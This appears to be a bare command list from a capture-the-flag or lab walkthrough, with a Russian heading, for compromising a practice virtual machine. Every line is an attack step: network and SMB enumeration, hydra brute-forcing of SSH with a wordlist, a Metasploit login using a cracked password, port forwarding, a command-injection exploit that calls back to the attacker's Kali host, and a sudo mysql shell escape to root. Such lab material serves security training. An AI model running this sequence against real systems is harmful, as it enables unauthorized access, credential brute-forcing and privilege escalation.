

## Список команд

1. nmap -Pn -n -A VM\_IP
2. enum4linux VM\_IP
3. smbclient -L VM\_IP
4. smbclient //VM\_IP/anonymous
5. cd backups
6. get log.txt
7. gunzip /usr/share/wordlists/rockyou.txt.gz
8. hydra -l aeolus -P /usr/share/wordlists/rockyou.txt  
VM\_IP ssh
9. msfconsole -q
10. use auxiliary/scanner/ssh/ssh\_login
11. set rhosts VN\_IP
12. set username aeolus
13. set password sergiotaemo
14. run
15. netstat
16. portfwd add -l 1234 -p 8080 -r 127.0.0.1
17. use exploit/linux/http/libre\_addhost\_cmd\_inject
18. set rhosts 127.0.0.1
19. set rport 1234
20. set lhost KALI\_IP
21. set username aeolus
22. set password sergiotaemo
23. exploit
24. sudo -l
25. sudo mysql -e '! /bin/sh'
26. id
27. cd /root
28. cat proof.txt